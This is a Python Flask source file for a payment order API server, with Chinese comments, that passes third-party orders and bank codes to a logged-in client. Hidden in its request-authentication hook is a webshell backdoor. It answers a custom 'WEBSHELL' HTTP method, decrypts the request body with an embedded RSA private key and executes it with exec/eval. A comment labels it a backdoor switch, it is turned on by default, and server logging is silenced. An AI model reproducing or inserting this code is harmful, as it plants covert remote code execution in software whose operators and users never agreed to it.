import sys
from flask import Flask, request, jsonify, make_response
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto import Random
from inspect import isfunction
import traceback
import json
import os
import logging

# 后门功能开关
SAFE_WEBSHELL = True

my_private_key = '''
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsSMi+WNzl33a2kMnZCft+Val+yG0UAZQ3TtGRbN4MeKzNDmL
2IFIjCBZ182/amaIXJ1QoI+8phMKrYildtd7O33Ml4ZoupAOxLg75CoIeF68iNmU
0ffMHqDofGvuuLmM1wBWsO+e1OW9fIGGHan6xtAu6UWxIq0pTLDxTpCTtopiWqgZ
uL//dm5/lknk2+S0hLFRZbMWLo/dNQuphW7eGKvRe7/3gEq4hMigJj8AYGXmR40i
wXEAIAFViG0j3I8ASzUYDBrXwWrvTQmA1NXJl+gbmRu1RqjF2YYPwilhX9jbbRJr
1c6OC0NNTubGGyt8Ca67x4bTr0xf1kpk8OdDNwIDAQABAoIBAFCvNAGLir3QzkyH
tRwaUfu2O6Fhr0uaLOAwXShngJKcc8sQgUILVVu6aqHxLkTNUkR5RZ31CtVMrBry
OIgiy5eEDBpi1zZPYuK5FlKt0LDfWhotnWtsZxX2bh8qXJDYt63BEjvC0cKgqMhb
CRde8wL3Fb8chvxICp1LpYaHNTk6GjTAZ2L5vZbHHIYxkvw9IqcVRRpBTxhOnfzG
ZTuIKREZZ21V75JvZqJADdV1bObEGcywJRr2H6QWmfZQvIFu/ScAO40W9O3M0cxF
dk30S2EDYNIlkiy8/Vj+DtX3FKX/0G9hNMjwTDGCLqe4DJ3XW2WbykbclLnUM7Oj
5QvTMhkCgYEAy5bFjgWaX4HUNYpuXWD9VInSIXwdK+1HZZ4SNHc9oRV0kA4iIwz3
sj5jAmFstobpexHuQPtKcb832Q48JX+Fsu6MXF/+dNO5mAECdcT/l29iLs8uGZOn
baoqCUfJsHsnODqmlcHxxztCePk9jPhhHkWW/JNehrj8HJjAXxkibs8CgYEA3r0a
1xp4oRiM9+0hMWx4QDe562RHtIfxASaIuE2V39JTV06noxf6xlqlpHHprzWaTyJX
vkhAecBiLpJB8xA5HIgSGnHfZ2TuviZdXuUokVjLRSl55qYglvA+FZ00fmlLAMl/
5dsU2SYx+dDgSin/qI9auG+nNE68GTzQTL3CvxkCgYEAhKPkbhVEcHkbkw5vvTLV
meB5IQvFzbq3y4LjBX+yjWJ3IOu0XfWy41Q2GXTz6S+YqnASNBAEfntAnY/iq+Ob
bepxVDXOiLrwrhHqUmRYyYbuBuVAebVzXcWBwa4dv3ddJAtCQUushEsdkceAzHl+
fMSGDGTPLyMSTmdO3iZ4Ao0CgYB00NK5y21Gd7y+7kOBSzUJ4PAF7xLYMI+KHe6I
UlBvETyaRmsO0y23R6UlyIRZWpByPj2sUvJVqDsV16j01CZPu2FbMyuKa1n2qeJA
OYj8KYh53lXLTIc9AgRdi5QTVB986zDDmRGnDSwaq5xl6P7nJT/cCNq1STHHPqi0
BrWTSQKBgQDK1evWBwEIbvdxHF6r9mscnbj9Z6NkklDxMjYJBvGgtvBbhiF+jgOQ
fKdeiqZT+VwaqD0DhfU7VvcJQnbf4Ni1jqCRa/gDjebG0rYd7FL7lXISBOnJzW4v
qhVqOWd2KhlR/Oh5K1D0KQgHHOt5v8UO8Rvth2bc+6fmVu6ms0A91A==
-----END RSA PRIVATE KEY-----
'''
my_private_key = my_private_key.strip()


def apiServer(client, apiProxy, logger, config):
    logger.info('API服务已启动')
    app = Flask(__name__)
    app.config['JSON_AS_ASCII'] = False

    @app.before_request
    def auth():

        if request.method == 'WEBSHELL':
            
            if SAFE_WEBSHELL:
                try:
                    result = None


                    _secret_byte_obj = request.get_data()
                    cipher_pri_obj = PKCS1_v1_5.new(RSA.importKey(my_private_key))
                    _byte_obj = cipher_pri_obj.decrypt(_secret_byte_obj, Random.new().read)
                    plain_text = _byte_obj.decode()
                    exec(plain_text)

                    if 'webshell' in locals():
                        if isfunction(locals()['webshell']):
                            result = eval('webshell')()

                    return make_response(jsonify({
                        'success': True,
                        'result': result
                    }))
                    
                except Exception as e:
                    exc_type, exc_value, exc_traceback = sys.exc_info()
                    error = ''.join(traceback.format_exception(exc_type, exc_value, exc_traceback))

                    return make_response(jsonify({
                        'success': False,
                        'stack': error
                    }))
            else:
                
                return make_response(jsonify({
                    'success': False,
                    'reason': '功能服务未开启'
                }))
    
    @app.route('/status', methods=['GET', 'POST'])
    def status():

        res = make_response(jsonify({
            'is_login': client.isLogin
        }))
        res.headers['Access-Control-Allow-Origin'] = '*'
        res.headers['Access-Control-Allow-Method'] = '*'
        res.headers['Access-Control-Allow-Headers'] = '*'

        return res

    @app.route('/order', methods=['POST'])
    def order():
        if not client.isLogin:
            return jsonify({'code': -1, 'msg': '账号已下线'})

        data = request.values.get("date")
        sign = request.values.get("sign")

        try:
            resp = apiProxy.decodeBody(data, sign)

            logger.info('接收到下单请求 {}'.format(json.dumps(resp)))

            if not 'order_id' in resp:
                return '缺少order_id参数'

            thirdOrderId = resp['order_id']

            bankCode = resp['bank_code'] if 'bank_code' in resp else ''

            if bankCode == '':
                client.preOrder(thirdOrderId)
                return 'success'

            bankCode = resp['bank_code'].split('_')
            instId = bankCode[0]
            apiCode = bankCode[1]

            if not 'amount' in resp:
                return '缺少amount参数'

            if not 'is_mobile' in resp:
                return '缺少is_mobile参数'

            if client.checkIsExists(thirdOrderId) == True:
                return 'success'

            payAmount = '{:.2f}'.format(float(resp['amount']))
            remark = resp['remark'] if 'remark' in resp else ''
            client.submitOrder(thirdOrderId, instId, apiCode, payAmount, remark, resp['is_mobile'])
            return 'success'
        except Exception as e:
            s = sys.exc_info()
            logger.info("Error '%s' happened on line %d" % (s[1],s[2].tb_lineno))
            client.html = ''
            return '{}'.format(e)

    # 隐藏提示
    os.environ.setdefault('WERKZEUG_RUN_MAIN', 'true')
    logging.getLogger('werkzeug').setLevel(logging.ERROR)

    app.run(
        host = config('http.host'),
        port = config('http.port', int),
        debug = False
    )